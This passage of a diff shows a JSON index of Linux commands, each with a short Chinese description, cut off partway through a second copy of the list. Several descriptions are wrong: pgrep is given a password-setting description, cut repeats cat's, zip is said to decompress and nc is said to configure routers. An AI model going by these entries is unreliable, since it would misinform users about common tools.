可以进行区域文件有效性检查和转换，必须指定区域名称和区域文件名称。"},"nano":{"n":"nano","p":"/nano","d":"字符终端文本编辑器"},"nc":{"n":"nc","p":"/nc","d":"用于设置路由器，是网络工具中的瑞士军刀。"},"ncftp":{"n":"ncftp","p":"/ncftp","d":"是增强的的FTP工具"},"nethogs":{"n":"nethogs","p":"/nethogs","d":"终端下的网络流量监控工具"},"netstat":{"n":"netstat","p":"/netstat","d":"查看Linux中网络系统状态信息"},"newusers":{"n":"newusers","p":"/newusers","d":"用于批处理的方式一次创建多个命令"},"nfsstat":{"n":"nfsstat","p":"/nfsstat","d":"列出NFS客户端和服务器的工作状态"},"ngrep":{"n":"ngrep","p":"/ngrep","d":"方便的数据包匹配和显示工具"},"nice":{"n":"nice","p":"/nice","d":"改变程序执行的优先权等级"},"nisdomainname":{"n":"nisdomainname","p":"/nisdomainname","d":"显示主机NIS的域名"},"nl":{"n":"nl","p":"/nl","d":"在Linux系统中计算文件内容行号"},"nm":{"n":"nm","p":"/nm","d":"显示二进制目标文件的符号表"},"nmap":{"n":"nmap","p":"/nmap","d":"网络探测和安全审核"},"nmcli":{"n":"nmcli","p":"/nmcli","d":"地址配置工具"},"nohup":{"n":"nohup","p":"/nohup","d":"将程序以忽略挂起信号的方式运行起来"},"nologin":{"n":"nologin","p":"/nologin","d":"拒绝用户登录系统"},"nslookup":{"n":"nslookup","p":"/nslookup","d":"查询域名DNS信息的工具"},"ntpdate":{"n":"ntpdate","p":"/ntpdate","d":"使用网络计时协议（NTP）设置日期和时间"},"ntsysv":{"n":"ntsysv","p":"/ntsysv","d":"集中管理系统的各种服务"},"objdump":{"n":"objdump","p":"/objdump","d":"显示二进制文件信息"},"od":{"n":"od","p":"/od","d":"输出文件的八进制、十六进制等格式编码的字节"},"openssl":{"n":"openssl","p":"/openssl","d":"强大的安全套接字层密码库"},"parted":{"n":"parted","p":"/parted","d":"磁盘分区和分区大小调整工具"},"partprobe":{"n":"partprobe","p":"/partprobe","d":"不重启的情况下重读分区"},"passwd":{"n":"passwd","p":"/passwd","d":"用于让用户可以更改自己的密码"},"paste":{"n":"paste","p":"/paste","d":"将多个文件按列队列合并"},"patch":{"n":"patch","p":"/patch","d":"为开放源代码软件安装补丁程序"},"pathchk":{"n":"pathchk","p":"/pathchk","d":"检查文件中不可移植的部分"},"perl":{"n":"perl","p":"/perl","d":"perl语言解释器"},"pfctl":{"n":"pfctl","p":"/pfctl","d":"PF防火墙的配置命令"},"pgrep":{"n":"pgrep","p":"/pgrep","d":"设置用户的认证信息，包括用户密码、密码过期时间等"},"php":{"n":"php","p":"/php","d":"PHP语言的命令行接口"},"pico":{"n":"pico","p":"/pico","d":"功能强大全屏幕的文本编辑器"},"pidof":{"n":"pidof","p":"/pidof","d":"查找指定名称的进程的进程号ID号"},"pigz":{"n":"pigz","p":"/pigz","d":"可以用来解压缩文件，gzip的并行实现升级版。"},"ping":{"n":"ping","p":"/ping","d":"测试主机之间网络的连通性"},"pkill":{"n":"pkill","p":"/pkill","d":"可以按照进程名杀死进程"},"pmap":{"n":"pmap","p":"/pmap","d":"报告进程的内存映射关系"},"popd":{"n":"popd","p":"/popd","d":"用于删除目录栈中的记录"},"poweroff":{"n":"poweroff","p":"/poweroff","d":"关闭Linux系统，关闭记录会被写入到/var/log/wtmp日志文件中。"},"ppp-off":{"n":"ppp-off","p":"/ppp-off","d":"关闭ppp连线"},"pr":{"n":"pr","p":"/pr","d":"将文本文件转换成适合打印的格式"},"printf":{"n":"printf","p":"/printf","d":"格式化并输出结果"},"protoize":{"n":"protoize","p":"/protoize","d":"GNU-C代码转换为ANSI-C代码"},"ps":{"n":"ps","p":"/ps","d":"报告当前系统的进程状态"},"pssh":{"n":"pssh","p":"/pssh","d":"批量管理执行"},"pstack":{"n":"pstack","p":"/pstack","d":"显示每个进程的栈跟踪"},"pstree":{"n":"pstree","p":"/pstree","d":"以树状图的方式展现进程之间的派生关系"},"pushd":{"n":"pushd","p":"/pushd","d":"将目录加入命令堆叠中"},"pv":{"n":"pv","p":"/pv","d":"显示当前在命令行执行的命令的进度信息，管道查看器。"},"pvchange":{"n":"pvchange","p":"/pvchange","d":"修改物理卷属性"},"pvck":{"n":"pvck","p":"/pvck","d":"检测物理卷的LVM元数据的一致性"},"pvcreate":{"n":"pvcreate","p":"/pvcreate","d":"将物理硬盘分区初始化为物理卷"},"pvdisplay":{"n":"pvdisplay","p":"/pvdisplay","d":"显示物理卷的属性"},"pvremove":{"n":"pvremove","p":"/pvremove","d":"删除一个存在的物理卷"},"pvs":{"n":"pvs","p":"/pvs","d":"输出物理卷信息报表"},"pvscan":{"n":"pvscan","p":"/pvscan","d":"扫描系统中所有硬盘的物理卷列表"},"pwck":{"n":"pwck","p":"/pwck","d":"用来验证系统认证文件内容和格式的完整性"},"pwconv":{"n":"pwconv","p":"/pwconv","d":"用来开启用户的投影密码"},"pwd":{"n":"pwd","p":"/pwd","d":"绝对路径方式显示用户当前工作目录"},"pwunconv":{"n":"pwunconv","p":"/pwunconv","d":"用来关闭用户的投影密码"},"quota":{"n":"quota","p":"/quota","d":"显示磁盘已使用的空间与限制"},"quotacheck":{"n":"quotacheck","p":"/quotacheck","d":"检查磁盘的使用空间与限制"},"quotaoff":{"n":"quotaoff","p":"/quotaoff","d":"关闭Linux内核中指定文件系统的磁盘配额功能"},"quotaon":{"n":"quotaon","p":"/quotaon","d":"激活Linux内核中指定文件系统的磁盘配额功能"},"rcconf":{"n":"rcconf","p":"/rcconf","d":"Debian Linux下的运行等级服务配置工具"},"rcp":{"n":"rcp","p":"/rcp","d":"使在两台Linux主机之间的文件复制操作更简单"},"read":{"n":"read","p":"/read","d":"从键盘读取变量值"},"readelf":{"n":"readelf","p":"/readelf","d":"用于显示elf格式文件的信息"},"readonly":{"n":"readonly","p":"/readonly","d":"定义只读shell变量或函数"},"reboot":{"n":"reboot","p":"/reboot","d":"重新启动正在运行的Linux操作系统"},"reject":{"n":"reject","p":"/reject","d":"指示打印系统拒绝发往指定目标打印机的打印任务"},"rename":{"n":"rename","p":"/rename","d":"用字符串替换的方式批量改变文件名"},"renice":{"n":"renice","p":"/renice","d":"修改正在运行的进程的调度优先级"},"repquota":{"n":"repquota","p":"/repquota","d":"报表的格式输出磁盘空间限制的状态"},"resize":{"n":"resize","p":"/resize","d":"命令设置终端机视窗的大小。"},"restore":{"n":"restore","p":"/restore","d":"所进行的操作和dump指令相反"},"restorecon":{"n":"restorecon","p":"/restorecon","d":"恢复文件的安全上下文"},"rev":{"n":"rev","p":"/rev","d":"将文件内容以字符为单位反序输出"},"rexec":{"n":"rexec","p":"/rexec","d":"运程执行Linux系统下命令 "},"rlogin":{"n":"rlogin","p":"/rlogin","d":"从当前终端登录到远程Linux主机"},"rm":{"n":"rm","p":"/rm","d":"用于删除给定的文件和目录"},"rmdir":{"n":"rmdir","p":"/rmdir","d":"用来删除空目录"},"rmmod":{"n":"rmmod","p":"/rmmod","d":"从运行的内核中移除指定的内核模块"},"route":{"n":"route","p":"/route","d":"显示并设置Linux中静态路由表"},"rpm":{"n":"rpm","p":"/rpm","d":"RPM软件包的管理工具"},"rpm2cpio":{"n":"rpm2cpio","p":"/rpm2cpio","d":"将RPM软件包转换为cpio格式的文件"},"rpmbuild":{"n":"rpmbuild","p":"/rpmbuild","d":"创建RPM的二进制软件包和源码软件包"},"rpmdb":{"n":"rpmdb","p":"/rpmdb","d":"初始化和重建RPM数据库"},"rpmquery":{"n":"rpmquery","p":"/rpmquery","d":"从RPM数据库中查询软件包信息"},"rpmsign":{"n":"rpmsign","p":"/rpmsign","d":"使用RPM软件包的签名管理工具"},"rpmverify":{"n":"rpmverify","p":"/rpmverify","d":"验证已安装的RPM软件包的正确性"},"rsh":{"n":"rsh","p":"/rsh","d":"连接远程主机并执行命令"},"rsync":{"n":"rsync","p":"/rsync","d":"远程数据同步工具"},"runlevel":{"n":"runlevel","p":"/runlevel","d":"打印当前Linux系统的运行等级"},"sar":{"n":"sar","p":"/sar","d":"系统运行状态统计工具"},"scp":{"n":"scp","p":"/scp","d":"加密的方式在本地主机和远程主机之间复制文件"},"screen":{"n":"screen","p":"/screen","d":"用于命令行终端切换"},"sed":{"n":"sed","p":"/sed","d":"功能强大的流式文本编辑器"},"seinfo":{"n":"seinfo","p":"/seinfo","d":"查询SELinux的策略提供多少相关规则"},"semanage":{"n":"semanage","p":"/semanage","d":"默认目录的安全上下文查询与修改"},"sendmail":{"n":"sendmail","p":"/sendmail","d":"著名电子邮件服务器"},"seq":{"n":"seq","p":"/seq","d":"以指定增量从首数开始打印数字到尾数"},"service":{"n":"service","p":"/service","d":"控制系统服务的实用工具"},"sesearch":{"n":"sesearch","p":"/sesearch","d":"查询SELinux策略的规则详情"},"set":{"n":"set","p":"/set","d":"显示或设置shell特性及shell变量"},"setfacl":{"n":"setfacl","p":"/setfacl","d":"设置文件访问控制列表"},"setpci":{"n":"setpci","p":"/setpci","d":"查询和配置PCI设备的使用工具"},"setsebool":{"n":"setsebool","p":"/setsebool","d":"修改SElinux策略内各项规则的布尔值"},"setsid":{"n":"setsid","p":"/setsid","d":"在新的会话中运行程序。"},"sftp-server":{"n":"sftp-server","p":"/sftp-server","d":"sftp协议的服务器端程序"},"sftp":{"n":"sftp","p":"/sftp","d":"交互式的文件传输程序"},"sh":{"n":"sh","p":"/sh","d":"shell命令解释器"},"shopt":{"n":"shopt","p":"/shopt","d":"显示和设置shell操作选项"},"showmount":{"n":"showmount","p":"/showmount","d":"显示NFS服务器加载的信息"},"shutdown":{"n":"shutdown","p":"/shutdown","d":"用来执行系统关机的命令"},"skill":{"n":"skill","p":"/skill","d":"向选定的进程发送信号冻结进程"},"slabtop":{"n":"slabtop","p":"/slabtop","d":"实时显示内核slab内存缓存信息"},"sleep":{"n":"sleep","p":"/sleep","d":"将目前动作延迟一段时间"},"slocate":{"n":"slocate","p":"/slocate","d":"命令查找文件或目录"},"smbclient":{"n":"smbclient","p":"/smbclient","d":"交互方式访问samba服务器"},"smbpasswd":{"n":"smbpasswd","p":"/smbpasswd","d":"samba用户和密码管理工具"},"sort":{"n":"sort","p":"/sort","d":"将文件进行排序并输出"},"source":{"n":"source","p":"/source","d":"在当前Shell环境中从指定文件读取和执行命令，命令返回退出状态。"},"speedtest-cli":{"n":"speedtest-cli","p":"/speedtest-cli","d":"命令行下测试服务器外网速度"},"spell":{"n":"spell","p":"/spell","d":"对文件进行拼写检查"},"split":{"n":"split","p":"/split","d":"分割任意大小的文件"},"squid":{"n":"squid","p":"/squid","d":"squid服务器守护进程"},"squidclient":{"n":"squidclient","p":"/squidclient","d":"squid服务器的客户端管理工具"},"ss":{"n":"ss","p":"/ss","d":"比 netstat 好用的socket统计信息，iproute2 包附带的另一个工具，允许你查询 socket 的有关统计信息。"},"ssh-add":{"n":"ssh-add","p":"/ssh-add","d":"把专用密钥添加到ssh-agent的高速缓存中"},"ssh-agent":{"n":"ssh-agent","p":"/ssh-agent","d":"ssh密钥管理器"},"ssh-copy-id":{"n":"ssh-copy-id","p":"/ssh-copy-id","d":"把本地的ssh公钥文件安装到远程主机对应的账户下"},"ssh-keygen":{"n":"ssh-keygen","p":"/ssh-keygen","d":"为ssh生成、管理和转换认证密钥"},"ssh-keyscan":{"n":"ssh-keyscan","p":"/ssh-keyscan","d":"收集主机公钥的使用工具"},"ssh":{"n":"ssh","p":"/ssh","d":"openssh套件中的客户端连接工具"},"sshd":{"n":"sshd","p":"/sshd","d":"openssh软件套件中的服务器守护进程"},"startx":{"n":"startx","p":"/startx","d":"用来启动X Window"},"stat":{"n":"stat","p":"/stat","d":"用于显示文件的状态信息"},"strace":{"n":"strace","p":"/strace","d":"跟踪系统调用和信号"},"strings":{"n":"strings","p":"/strings","d":"在对象文件或二进制文件中查找可打印的字符串"},"stty":{"n":"stty","p":"/stty","d":"修改终端命令行的相关设置"},"su":{"n":"su","p":"/su","d":"用于切换当前用户身份到其他用户身份"},"sudo":{"n":"sudo","p":"/sudo","d":"以其他身份来执行命令"},"sum":{"n":"sum","p":"/sum","d":"计算文件的校验码和显示块数"},"supervisord":{"n":"supervisord","p":"/supervisord","d":"配置后台服务/常驻进程的进程管家工具"},"swapoff":{"n":"swapoff","p":"/swapoff","d":"关闭指定的交换空间"},"swapon":{"n":"swapon","p":"/swapon","d":"激活Linux系统中交换空间"},"sync":{"n":"sync","p":"/sync","d":"用于强制被改变的内容立刻写入磁盘"},"sysctl":{"n":"sysctl","p":"/sysctl","d":"时动态地修改内核的运行参数"},"syslog":{"n":"syslog","p":"/syslog","d":"系统默认的日志守护进程"},"systemctl":{"n":"systemctl","p":"/systemctl","d":"系统服务管理器指令"},"systool":{"n":"systool","p":"/systool","d":"显示基于总线、类和拓扑显示系统中设备的信息"},"tac":{"n":"tac","p":"/tac","d":"将文件以行为单位的反序输出"},"tail":{"n":"tail","p":"/tail","d":"在屏幕上显示指定文件的末尾若干行"},"tailf":{"n":"tailf","p":"/tailf","d":"在屏幕上显示指定文件的末尾若干行内容，通常用于日志文件的跟踪输出。"},"talk":{"n":"talk","p":"/talk","d":"让用户和其他用户聊天"},"tar":{"n":"tar","p":"/tar","d":"Linux下的归档使用工具，用来打包和备份。"},"tcpdump":{"n":"tcpdump","p":"/tcpdump","d":"一款sniffer工具，是Linux上的抓包工具，嗅探器。"},"tcpreplay":{"n":"tcpreplay","p":"/tcpreplay","d":"将PCAP包重新发送，用于性能或者功能测试"},"tee":{"n":"tee","p":"/tee","d":"把数据重定向到给定文件和屏幕上"},"telint":{"n":"telint","p":"/telint","d":"切换当前正在运行系统的运行等级"},"telnet":{"n":"telnet","p":"/telnet","d":"登录远程主机和管理(测试ip端口是否连通)"},"tempfile":{"n":"tempfile","p":"/tempfile","d":"shell中给临时文件命名"},"test":{"n":"test","p":"/test","d":"shell环境中测试条件表达式工具"},"tftp":{"n":"tftp","p":"/tftp","d":"在本机和tftp服务器之间使用TFTP协议传输文件"},"time":{"n":"time","p":"/time","d":"统计给定命令所花费的总时间"},"tload":{"n":"tload","p":"/tload","d":"显示系统负载状况"},"tmux":{"n":"tmux","p":"/tmux","d":"Tmux是一个优秀的终端复用软件，类似GNU Screen，但来自于OpenBSD，采用BSD授权。"},"top":{"n":"top","p":"/top","d":"显示或管理执行中的程序"},"touch":{"n":"touch","p":"/touch","d":"创建新的空文件"},"tput":{"n":"tput","p":"/tput","d":"通过terminfo数据库对终端会话进行初始化和操作"},"tr":{"n":"tr","p":"/tr","d":"将字符进行替换压缩和删除"},"tracepath":{"n":"tracepath","p":"/tracepath","d":"追踪目的主机经过的路由信息"},"traceroute":{"n":"traceroute","p":"/traceroute","d":"显示数据包到主机间的路径"},"trap":{"n":"trap","p":"/trap","d":"指定在接收到信号后将要采取的动作"},"tree":{"n":"tree","p":"/tree","d":"树状图列出目录的内容"},"tty":{"n":"tty","p":"/tty","d":"显示连接到当前标准输入的终端设备文件名。"},"type":{"n":"type","p":"/type","d":"显示指定命令的类型"},"ulimit":{"n":"ulimit","p":"/ulimit","d":"控制shell程序的资源"},"umask":{"n":"umask","p":"/umask","d":"用来设置限制新建文件权限的掩码"},"umount":{"n":"umount","p":"/umount","d":"用于卸载已经加载的文件系统"},"unalias":{"n":"unalias","p":"/unalias","d":"删除由alias设置的别名"},"uname":{"n":"uname","p":"/uname","d":"显示Linux系统信息"},"unarj":{"n":"unarj","p":"/unarj","d":"解压缩由arj命令创建的压缩包"},"uncompress":{"n":"uncompress","p":"/uncompress","d":"用来解压.Z文件"},"unexpand":{"n":"unexpand","p":"/unexpand","d":"将文件的空白字符转换为制表符"},"uniq":{"n":"uniq","p":"/uniq","d":"报告或忽略文件中的重复行"},"unlink":{"n":"unlink","p":"/unlink","d":"系统调用函数unlink去删除指定的文件"},"unprotoize":{"n":"unprotoize","p":"/unprotoize","d":"删除C语言源代码文件中的函数原型"},"unset":{"n":"unset","p":"/unset","d":"删除指定的shell变量或函数"},"unzip":{"n":"unzip","p":"/unzip","d":"用于解压缩由zip命令压缩的压缩包"},"updatedb":{"n":"updatedb","p":"/updatedb","d":"创建或更新slocate命令所必需的数据库文件"},"uptime":{"n":"uptime","p":"/uptime","d":"查看Linux系统负载信息"},"useradd":{"n":"useradd","p":"/useradd","d":"创建的新的系统用户"},"userdel":{"n":"userdel","p":"/userdel","d":"用于删除给定的用户以及与用户相关的文件"},"usermod":{"n":"usermod","p":"/usermod","d":"用于修改用户的基本信息"},"usernetctl":{"n":"usernetctl","p":"/usernetctl","d":"被允许时操作指定的网络接口"},"users":{"n":"users","p":"/users","d":"显示当前登录系统的所有用户"},"uucico":{"n":"uucico","p":"/uucico","d":"UUCP文件传输服务程序。"},"uupick":{"n":"uupick","p":"/uupick","d":"命令处理传送进来的文件。"},"uuto":{"n":"uuto","p":"/uuto","d":"将文件传送到远端的UUCP主机。"},"vdfuse":{"n":"vdfuse","p":"/vdfuse","d":"VirtualBox软件挂载VDI分区文件工具"},"vgchange":{"n":"vgchange","p":"/vgchange","d":"修改卷组属性"},"vgconvert":{"n":"vgconvert","p":"/vgconvert","d":"转换卷组元数据格式"},"vgcreate":{"n":"vgcreate","p":"/vgcreate","d":"用于创建LVM卷组"},"vgdisplay":{"n":"vgdisplay","p":"/vgdisplay","d":"显示LVM卷组的信息"},"vgextend":{"n":"vgextend","p":"/vgextend","d":"向卷组中添加物理卷"},"vgreduce":{"n":"vgreduce","p":"/vgreduce","d":"从卷组中删除物理卷"},"vgremove":{"n":"vgremove","p":"/vgremove","d":"用于用户删除LVM卷组"},"vgrename":{"n":"vgrename","p":"/vgrename","d":"使用vgrename命令可以重命名卷组的名称。"},"vgscan":{"n":"vgscan","p":"/vgscan","d":"扫描并显示系统中的卷组"},"vi":{"n":"vi","p":"/vi","d":"功能强大的纯文本编辑器"},"vmstat":{"n":"vmstat","p":"/vmstat","d":"显示虚拟内存状态"},"volname":{"n":"volname","p":"/volname","d":"显示指定的ISO-9660格式的设备的卷名称"},"w":{"n":"w","p":"/w","d":"显示目前登入系统的用户信息"},"wait":{"n":"wait","p":"/wait","d":"等待进程执行完后返回"},"wall":{"n":"wall","p":"/wall","d":"向系统当前所有打开的终端上输出信息"},"watch":{"n":"watch","p":"/watch","d":"可以将命令的输出结果输出到标准输出设备，多用于周期性执行命令/定时执行命令"},"wc":{"n":"wc","p":"/wc","d":"统计文件的字节数、字数、行数"},"wget":{"n":"wget","p":"/wget","d":"Linux系统下载文件工具"},"whatis":{"n":"whatis","p":"/whatis","d":"查询一个命令执行什么功能"},"whereis":{"n":"whereis","p":"/whereis","d":"查找二进制程序、代码等相关文件路径"},"which":{"n":"which","p":"/which","d":"查找并显示给定命令的绝对路径"},"who":{"n":"who","p":"/who","d":"显示目前登录系统的用户信息"},"whoami":{"n":"whoami","p":"/whoami","d":"打印当前有效的用户名称"},"write":{"n":"write","p":"/write","d":"向指定登录用户终端上发送信息"},"xargs":{"n":"xargs","p":"/xargs","d":"给其他命令传递参数的一个过滤器"},"xauth":{"n":"xauth","p":"/xauth","d":"显示和编辑被用于连接X服务器的认证信息"},"xclip":{"n":"xclip","p":"/xclip","d":"管理 X 粘贴板"},"xhost":{"n":"xhost","p":"/xhost","d":"制哪些X客户端能够在X服务器上显示"},"xinit":{"n":"xinit","p":"/xinit","d":"是Linux下X-Window系统的初始化程序"},"xlsatoms":{"n":"xlsatoms","p":"/xlsatoms","d":"列出X服务器内部所有定义的原子成分"},"xlsclients":{"n":"xlsclients","p":"/xlsclients","d":"列出显示器中的客户端应用程序"},"xlsfonts":{"n":"xlsfonts","p":"/xlsfonts","d":"列出X Server使用的字体"},"xset":{"n":"xset","p":"/xset","d":"设置X-Window系统中的用户爱好的实用工具"},"xz":{"n":"xz","p":"/xz","d":"POSIX 平台开发具有高压缩率的工具。"},"yes":{"n":"yes","p":"/yes","d":"重复打印指定字符串"},"ypdomainname":{"n":"ypdomainname","p":"/ypdomainname","d":"显示主机的NIS的域名"},"yum":{"n":"yum","p":"/yum","d":"基于RPM的软件包管理器"},"zcat":{"n":"zcat","p":"/zcat","d":"显示压缩包中文件的内容"},"zfore":{"n":"zfore","p":"/zfore","d":"强制为gzip格式的压缩文件添加.gz后缀"},"zip":{"n":"zip","p":"/zip","d":"可以用来解压缩文件"},"zipinfo":{"n":"zipinfo","p":"/zipinfo","d":"用来列出压缩文件信息"},"zipsplit":{"n":"zipsplit","p":"/zipsplit","d":"将较大的zip压缩包分割成各个较小的压缩包"},"znew":{"n":"znew","p":"/znew","d":"将.Z压缩包重新转化为gzip命令压缩的.gz压缩包"}} \ No newline at end of file +{"ab":{"n":"ab","p":"/ab","d":"Apache服务器的性能测试工具"},"accept":{"n":"accept","p":"/accept","d":"指示打印系统接受发往指定目标打印机的打印任务"},"ack":{"n":"ack","p":"/ack","d":"比grep好用的文本搜索工具"},"alias":{"n":"alias","p":"/alias","d":"用来设置指令的别名"},"apachectl":{"n":"apachectl","p":"/apachectl","d":"Apache服务器前端控制工具"},"apk":{"n":"apk","p":"/apk","d":"Alpine Linux 下的包管理工具"},"apropos":{"n":"apropos","p":"/apropos","d":"在 whatis 数据库中查找字符串"},"apt-get":{"n":"apt-get","p":"/apt-get","d":"Debian Linux发行版中的APT软件包管理工具"},"apt-key":{"n":"apt-key","p":"/apt-key","d":"管理Debian Linux系统中的软件包密钥"},"apt-sortpkgs":{"n":"apt-sortpkgs","p":"/apt-sortpkgs","d":"Debian Linux下对软件包索引文件进行排序的工具"},"aptitude":{"n":"aptitude","p":"/aptitude","d":"Debian Linux系统中软件包管理工具"},"ar":{"n":"ar","p":"/ar","d":"建立或修改备存文件，或是从备存文件中抽取文件"},"arch":{"n":"arch","p":"/arch","d":"显示当前主机的硬件架构类型"},"arj":{"n":"arj","p":"/arj","d":"用于创建和管理.arj压缩包"},"arp":{"n":"arp","p":"/arp","d":"arp 命令用于显示和修改 IP 到 MAC 转换表。"},"arpd":{"n":"arpd","p":"/arpd","d":"收集免费ARP信息"},"arping":{"n":"arping","p":"/arping","d":"通过发送ARP协议报文测试网络"},"arptables":{"n":"arptables","p":"/arptables","d":"管理ARP包过滤规则表"},"arpwatch":{"n":"arpwatch","p":"/arpwatch","d":"监听网络上ARP的记录"},"as":{"n":"as","p":"/as","d":"汇编语言编译器"},"at":{"n":"at","p":"/at","d":"在指定时间执行一个任务"},"atop":{"n":"atop","p":"/atop","d":"监控Linux系统资源与进程的工具"},"atq":{"n":"atq","p":"/atq","d":"列出当前用户的at任务列表"},"atrm":{"n":"atrm","p":"/atrm","d":"删除待执行任务队列中的指定任务"},"awk":{"n":"awk","p":"/awk","d":"文本和数据进行处理的编程语言"},"axel":{"n":"axel","p":"/axel","d":"多线程下载工具"},"badblocks":{"n":"badblocks","p":"/badblocks","d":"查找磁盘中损坏的区块"},"basename":{"n":"basename","p":"/basename","d":"打印目录或者文件的基本名称"},"batch":{"n":"batch","p":"/batch","d":"在系统不繁忙的时候执行定时任务"},"bc":{"n":"bc","p":"/bc","d":"算术操作精密运算工具"},"bg":{"n":"bg","p":"/bg","d":"用于将作业放到后台运行"},"bind":{"n":"bind","p":"/bind","d":"显示或设置键盘按键与其相关的功能"},"blkid":{"n":"blkid","p":"/blkid","d":"查看块设备的文件系统类型、LABEL、UUID等信息"},"blockdev":{"n":"blockdev","p":"/blockdev","d":"从命令行调用区块设备控制程序"},"bmodinfo":{"n":"bmodinfo","p":"/bmodinfo","d":"显示给定模块的详细信息"},"builtin":{"n":"builtin","p":"/builtin","d":"执行shell内部命令"},"bunzip2":{"n":"bunzip2","p":"/bunzip2","d":"创一个bz2文件压缩包"},"bye":{"n":"bye","p":"/bye","d":"命令用于中断FTP连线并结束程序。。"},"bzcat":{"n":"bzcat","p":"/bzcat","d":"解压缩指定的.bz2文件"},"bzcmp":{"n":"bzcmp","p":"/bzcmp","d":"比较两个压缩包中的文件"},"bzdiff":{"n":"bzdiff","p":"/bzdiff","d":"直接比较两个.bz2压缩包中文件的不同"},"bzgrep":{"n":"bzgrep","p":"/bzgrep","d":"使用正则表达式搜索.bz2压缩包中文件"},"bzip2":{"n":"bzip2","p":"/bzip2","d":"将文件压缩成bz2格式"},"bzip2recover":{"n":"bzip2recover","p":"/bzip2recover","d":"恢复被破坏的.bz2压缩包中的文件"},"bzless":{"n":"bzless","p":"/bzless","d":"增强.bz2压缩包查看器"},"bzmore":{"n":"bzmore","p":"/bzmore","d":"查看bzip2压缩过的文本文件的内容"},"cal":{"n":"cal","p":"/cal","d":"显示当前日历或指定日期的日历"},"cancel":{"n":"cancel","p":"/cancel","d":"取消已存在的打印任务"},"cat":{"n":"cat","p":"/cat","d":"连接文件并打印到标准输出设备上"},"cd":{"n":"cd","p":"/cd","d":"切换用户当前工作目录"},"cdrecord":{"n":"cdrecord","p":"/cdrecord","d":"Linux系统下光盘刻录功能命令"},"chage":{"n":"chage","p":"/chage","d":"修改帐号和密码的有效期限"},"chattr":{"n":"chattr","p":"/chattr","d":"用来改变文件属性"},"chcon":{"n":"chcon","p":"/chcon","d":"修改对象（文件）的安全上下文"},"chfn":{"n":"chfn","p":"/chfn","d":"用来改变finger命令显示的信息"},"chgrp":{"n":"chgrp","p":"/chgrp","d":"用来变更文件或目录的所属群组"},"chkconfig":{"n":"chkconfig","p":"/chkconfig","d":"检查或设置系统的各种服务"},"chmod":{"n":"chmod","p":"/chmod","d":"用来变更文件或目录的权限"},"chown":{"n":"chown","p":"/chown","d":"用来变更文件或目录的拥有者或所属群组"},"chpasswd":{"n":"chpasswd","p":"/chpasswd","d":"批量更新用户口令的工具"},"chroot":{"n":"chroot","p":"/chroot","d":"把根目录换成指定的目的目录"},"chsh":{"n":"chsh","p":"/chsh","d":"用来更换登录系统时使用的shell"},"cksum":{"n":"cksum","p":"/cksum","d":"检查文件的CRC是否正确"},"clear":{"n":"clear","p":"/clear","d":"清除当前屏幕终端上的任何信息"},"clock":{"n":"clock","p":"/clock","d":"用于调整 RTC 时间。"},"clockdiff":{"n":"clockdiff","p":"/clockdiff","d":"检测两台linux主机的时间差"},"cmp":{"n":"cmp","p":"/cmp","d":"比较两个文件是否有差异"},"col":{"n":"col","p":"/col","d":"过滤控制字符"},"colrm":{"n":"colrm","p":"/colrm","d":"删除文件中的指定列"},"comm":{"n":"comm","p":"/comm","d":"两个文件之间的比较"},"command":{"n":"command","p":"/command","d":"调用并执行指定的命令"},"compress":{"n":"compress","p":"/compress","d":"使用Lempress-Ziv编码压缩数据文件"},"consoletype":{"n":"consoletype","p":"/consoletype","d":"输出已连接的终端类型"},"convertquota":{"n":"convertquota","p":"/convertquota","d":"把老的配额文件转换为新的格式"},"cp":{"n":"cp","p":"/cp","d":"将源文件或目录复制到目标文件或目录中"},"cpio":{"n":"cpio","p":"/cpio","d":"用来建立、还原备份档的工具程序"},"crontab":{"n":"crontab","p":"/crontab","d":"提交和管理用户的需要周期性执行的任务"},"csplit":{"n":"csplit","p":"/csplit","d":"将一个大文件分割成小的碎片文件"},"cu":{"n":"cu","p":"/cu","d":"用于连接另一个系统主机。"},"cupsdisable":{"n":"cupsdisable","p":"/cupsdisable","d":"停止指定的打印机"},"cupsenable":{"n":"cupsenable","p":"/cupsenable","d":"启动指定的打印机"},"curl":{"n":"curl","p":"/curl","d":"利用URL规则在命令行下工作的文件传输工具"},"cut":{"n":"cut","p":"/cut","d":"连接文件并打印到标准输出设备上"},"date":{"n":"date","p":"/date","d":"显示或设置系统时间与日期"},"dd":{"n":"dd","p":"/dd","d":"复制文件并对原文件的内容进行转换和格式化处理"},"declare":{"n":"declare","p":"/declare","d":"声明或显示shell变量"},"depmod":{"n":"depmod","p":"/depmod","d":"分析可载入模块的相依性"},"df":{"n":"df","p":"/df","d":"显示磁盘的相关信息"},"dhclient":{"n":"dhclient","p":"/dhclient","d":"动态获取或释放IP地址"},"dhcpd":{"n":"dhcpd","p":"/dhcpd","d":"运行DHCP服务器。"},"dhcrelay":{"n":"dhcrelay","p":"/dhcrelay","d":"使用dhcrelay命令可以提供中继DHCP和BOOTP请求"},"diff":{"n":"diff","p":"/diff","d":"比较给定的两个文件的不同"},"diff3":{"n":"diff3","p":"/diff3","d":"比较3个文件不同的地方"},"diffstat":{"n":"diffstat","p":"/diffstat","d":"显示diff命令输出信息的柱状图"},"dig":{"n":"dig","p":"/dig","d":"域名查询工具"},"dircolors":{"n":"dircolors","p":"/dircolors","d":"置ls命令在显示目录或文件时所用的色彩"},"dirname":{"n":"dirname","p":"/dirname","d":"去除文件名中的非目录部分"},"dirs":{"n":"dirs","p":"/dirs","d":"显示目录记录"},"dmesg":{"n":"dmesg","p":"/dmesg","d":"显示Linux系统启动信息"},"dmidecode":{"n":"dmidecode","p":"/dmidecode","d":"在Linux系统下获取有关硬件方面的信息"},"dnf":{"n":"dnf","p":"/dnf","d":"新一代的RPM软件包管理器"},"dnsdomainname":{"n":"dnsdomainname","p":"/dnsdomainname","d":"定义DNS系统中FQDN名称的域名"},"domainname":{"n":"domainname","p":"/domainname","d":"显示和设置系统的NIS域名"},"dos2unix":{"n":"dos2unix","p":"/dos2unix","d":"将DOS格式文本文件转换成Unix格式"},"dpkg-deb":{"n":"dpkg-deb","p":"/dpkg-deb","d":"Debian Linux下的软件包管理工具"},"dpkg-divert":{"n":"dpkg-divert","p":"/dpkg-divert","d":"Debian Linux中创建并管理一个转向列表"},"dpkg-preconfigure":{"n":"dpkg-preconfigure","p":"/dpkg-preconfigure","d":"Debian Linux中软件包安装之前询问问题"},"dpkg-query":{"n":"dpkg-query","p":"/dpkg-query","d":"Debian Linux中软件包的查询工具"},"dpkg-reconfigure":{"n":"dpkg-reconfigure","p":"/dpkg-reconfigure","d":"Debian 